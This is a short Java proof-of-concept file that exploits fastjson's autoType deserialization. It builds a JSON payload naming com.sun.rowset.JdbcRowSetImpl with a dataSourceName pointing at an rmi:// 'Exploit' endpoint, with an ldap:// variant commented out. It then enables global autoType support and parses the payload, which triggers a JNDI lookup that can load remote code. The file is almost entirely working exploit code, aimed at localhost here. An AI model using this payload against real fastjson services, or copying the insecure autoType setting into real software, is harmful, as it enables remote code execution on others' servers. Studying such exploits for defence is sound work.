package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

/**
 * Created by liaoxinxi on 2017-9-4.
 */
public class JdbcRowSetImplPoc {
    public static void main(String[] argv) {
        testJdbcRowSetImpl();
    }

    public static void testJdbcRowSetImpl() {
        //String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:389/Exploit\"," + " \"autoCommit\":true}";
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\\\"," + " \"autoCommit\":true}";

        ParserConfig config = new ParserConfig();
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        Object parse =  JSON.parseObject(payload, JdbcRowSetImpl.class, config, Feature.SupportNonPublicField);
        //Object parse = JSON.parse(payload);
        System.out.println(parse);
    }

}
